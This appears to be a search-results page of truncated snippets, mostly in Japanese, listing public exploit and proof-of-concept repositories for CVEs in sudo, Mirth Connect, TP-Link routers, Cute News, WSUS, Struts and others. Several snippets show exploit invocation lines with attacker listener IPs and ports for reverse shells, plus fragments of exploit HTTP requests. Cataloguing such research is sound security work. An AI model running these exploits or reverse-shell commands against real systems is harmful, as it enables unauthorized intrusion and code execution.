553576 matches found
CVE-2017-15220-vxsearch-rce
CVE-2017-15220 – VX Search Enterprise リモートバッファオーバーフロー VX Search Enterprise 10.1.12 におけるリモートバッファオーバーフローの脆弱性。 脆弱性の詳細 CVE: CVE-2017-15220 製品: VX Search Enterprise バージョン: 10.1.12 影響: リモートコード実行 説明 VX Search Enterprise 10.1.12 は、特別に細工された HTTP POST リクエストによってトリガーされるバッファオーバーフローの影響を受けます。...
CVE-2022-30190
CVE-2022-30190 2022年5月30日月曜日、MicrosoftはWindowsのMicrosoftサポート診断ツール（MSDT）の脆弱性に関するCVE-2022-30190を発行しました。...
BadBlue
BadBlue Windows CVE-2024-21306 BadBlue の実装 DuckyScript 使用 認証なしピアリングによるコード実行 HID キーボード使用 これは marcnewlin が発見した CVE の実装です そして BlueDucky からのコードも一部使用しています はじめに BadBlue は Bluetooth デバイスの脆弱性を悪用するための強力なツールです。このスクリプトを実行すると、以下のことが可能です: 1. 以前ペアリングしたが現在は見えなくなっている、Bluetooth が有効なデバイスを読み込みます。 2...
Online-Admission-System-RCE-PoC
このリポジトリには README がありません。...
CVE-2024-52380
CVE-2024-52380 Picsmize -----------------------------263629263440545280502417734995 Content-Disposition: form-data; name="action"...
CVE-2022-30190
CVE-2022-30190 Follina 教育目的のマルウェア開発、悪用、分析、緩和 ソーシャルエンジニアリングによる配信から悪用、フォレンジック分析、パッチ開発までを網羅した、Follina脆弱性の完全文書化された概念実証です。 ⚠️ 教育目的のみ。 このリポジトリ内のすべての活動は、SLIITのIE4012攻撃的ハッキング戦術と戦略モジュールの一環として、隔離された仮想マシンラボ環境内でのみ実施されました。これを管理されたラボ以外で使用しないでください。実際のシステムやネットワークに対してテストしないでください。 📋 概要 CVE-2022-30190 、通称 Follina...
CVE-2025-31337
CVE-2025-31337 보안 권고 CVE ID: CVE-2025-31337 발행일: 2025-03-15 CVSS 점수: 9.8 Critical CWE: CWE-120 Buffer Copy without Checking Size of Input 설명 AIDR ChatBot Framework 버전 4.2.0 및 이전 버전에서 심각한 버퍼 오버플로 취약점이 발견되었습니다. 이 취약점은 generateresponse 함수에 존재하며, 처리하기 전에 사용자가 제공한 CVE 세부 정보를 제대로 살균하지 못합니다. 공격자는 예상 버퍼...
CVE-2025-32463
CVE-2025-32463 は、影響を受けるバージョンのsudoに影響を与えるローカル権限昇格の脆弱性です。この欠陥は、sudo -R chroot機能をLinux Name Service Switch（NSS）メカニズムと組み合わせて悪用し、sudoに攻撃者が制御する共有ライブラリをrootとして強制的にロードさせます。細工されたchroot環境内でnsswitch.confを操作することにより、攻撃者はroot権限で任意のコードを実行し、rootシェルを起動できます。 chwoot.sh...
CVE-2025-59287---WSUS-SCCM-RCE
CVE-2025-59287 - WSUS / SCCM RCE 元のエクスプロイトに基づく: https://gist.github.com/hawktrace/76b3ea4275a5e2191e6582bdc5a0dc8b ysoserial.exe を指定して、任意のコマンドを実行できるようになりました: https://hawktrace.com/blog/cve-2025-59287/ https://hawktrace.com/blog/cve-2025-59287-unauth/...
CVE-2025-54123
CVE-2025-54123 概要 HoverFly のミドルウェア API エンドポイントにおける、入力検証の不備と安全でないコマンド実行による認証済みリモートコード実行（RCE）。 攻撃フロー 1. 認証 攻撃者は有効な認証情報またはセッショントークンを使用して HoverFly に認証する /api/token-auth エンドポイント経由で Bearer トークンを取得する 2. 悪意のあるペイロードの作成 攻撃者は以下の内容を含む JSON ペイロードを構築する: binary: /bin/bash（ユーザー制御） script: 任意のシェルコマンド（例:...
CVE-2022-25064
CVE-2022-25064 TP-LINK TL-WR840N における oalwan6setIpAddr 関数を介した RCE 実証コード（POC） root@kitploit: POST /cgi?2&2&2 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:95.0 Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3...
CVE-2024-22274
CVE-2024-22274: VMware vCenter Serverにおける認証済みリモートコード実行 vCenter Serverには、認証済みリモートコード実行の脆弱性が存在します。悪意のあるアクターがvCenterアプライアンスシェルに対する管理者権限を持つことで、この問題を悪用し、基盤となるオペレーティングシステム上で"root"ユーザとして任意のコマンドを実行する可能性があります。 ベンダー開示情報: この脆弱性に関するベンダーの開示情報はこちらをご覧ください。 必要条件: この脆弱性には以下が必要です: "admin"ロールを持つユーザの有効な資格情報 概念実証:...
cve-2019-11447
CVE-2019-11447 CutePHP Cute News 2.1.2 RCE PoC 目标： 2.1.2 这个PoC脚本基于BobbySox 原始漏洞利用的简单实现。原始漏洞利用是Akuss 编写的MSF模块。 该脚本需要目标IP地址或域名以及凭据，它会自动登录、上传载荷、触发并捕获反弹shell。 root@kitploit: python cve-2019-11447.py -t 10.10.10.206 -u twh -p p4ssw0rd -lh 10.10.16.2 -lp 4444 -f shell...
Flowise-RCE
Flowise-RCE CVE-2025-58434 & CVE-2025-59528...
EXPLOIT-CVE-2026-56121
CVE-2026-56121 — Feast の認証なし RCE（ApplyFeatureView gRPC デシリアライゼーション） Feast（ 0.63.0）における、レジストリ gRPC サーバー の安全でない dill.loads デシリアライゼーションを介した認証なしリモートコード実行。このリポジトリには、自己完結型の概念実証エクスプロイトと、それを検証するための Docker 化された脆弱性ラボが含まれています。...
CVE-2025-49132
影響 /locales/locale.json を locale と namespace クエリパラメータとともに使用することで、認証なしで悪意のある攻撃者が任意のコードを実行できます。 任意のコードを実行できるため、この脆弱性は無数の方法で悪用される可能性があります。パネルのサーバーへのアクセス、パネルの設定 .env など からの認証情報の読み取り、データベースからの機密情報 ユーザー詳細 ユーザー名、メール、氏名、ハッシュ化されたパスワード、IP アドレスなど の抽出、パネルが管理するサーバーのファイルへのアクセスなどに使用される可能性があります。 使用方法...
CVE-2026-5817-PoC
CVE-2026-5817: Docker Model Runner コンテナからホストへのRCE / エスケープ Docker Desktop 4.40.0〜4.67.x ホスト上の任意のコンテナは、2つのHTTPリクエストでホスト上でコードを実行できます。ソケットのマウントも --privileged もケーパビリティも不要です。 仕組み すべてのコンテナは、認証なしで model-runner.docker.internal のModel Runnerに到達できます。Model...
CVE-2023-43208-PoC
Mirth Connect RCE エクスプロイト CVE-2023-43208 このスクリプトは、Mirth Connect （4.4.1より前のバージョン）のリモートコード実行（RCE）脆弱性に対する概念実証（PoC）です。APIを介してXStreamの逆シリアル化の脆弱性を悪用します。 要件 Python 3.10 以上（3.13 にも対応）。 ターゲットへのネットワーク接続。 ツールの使い方 root@kitploit: python3 CVE-2023-43208.py -u https://IP-victima -lh IP-atacante -lp puerto インストー...
struts-s2-052-deserialization-rce-lab
Apache Struts S2-052 XMLデシリアライゼーションRCE このリポジトリは、悪意のあるXMLデシリアライゼーションを利用したApache Struts S2-052 CVE-2017-9805のエクスプロイトを示しています。 このエクスプロイトは、INE eWPTX Practice Range – Struts XML Deserialization RCEラボ を解く際に作成されました。 脆弱性の概要 Apache Struts RESTプラグインは、XStream を使用してXMLリクエストをデシリアライズします。 アプリケーションが以下のXMLを処理する場合：...